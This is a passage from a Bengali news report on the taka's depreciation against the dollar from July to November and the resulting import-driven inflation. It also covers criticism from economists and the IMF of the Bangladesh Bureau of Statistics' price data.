সূত্র জানায়, গত জুলাইয়ের শেষে প্রতি ডলারের দাম ছিল ৯৪ টাকা। নভেম্বরে তা বেড়ে দাঁড়িয়েছে ৯৮ টাকায়। ওই চার মাসের ব্যবধানে ডলারের দাম বেড়েছে ৪ টাকা। ওই সময়ে ডলারের বিপরীতে টাকার অবমূল্যায়ন হয়েছে ৪ দশমিক ২৫ শতাংশ। ডলারের দাম ও আন্তর্জাতিক বাজার থেকে বেশি দামে পণ্য কেনায় আমদানিজনিত মূল্যস্ফীতিতেও চাপ বেড়েছে। এছাড়া পরিসংখ্যান ব্যুরোর পণ্যমূল্যের যেসব তথ্য দিয়েছে এর মধ্যে কিছু পণ্যের দাম বাজারে এর চেয়ে বেশি।
দেশের অর্থনীতিবিদরা বিবিএসের তথ্যকে আমলে নেওয়ার সময় অনেক ক্ষেত্রেই আপত্তি করেন। তারা এ প্রতিষ্ঠানের সংস্কার দাবি করেছেন বিভিন্ন সেমিনারে। সরকারের একাধিক নীতিনির্ধারকও বিবিএসের তথ্য নিয়ে আপত্তি করেছেন। আন্তর্জাতিক অর্থ তহবিল (আইএমএফ) থেকেও তাদের তথ্য সংগ্রহ পদ্ধতি আধুনিকায়নের কথা বলা হয়েছে।
]]>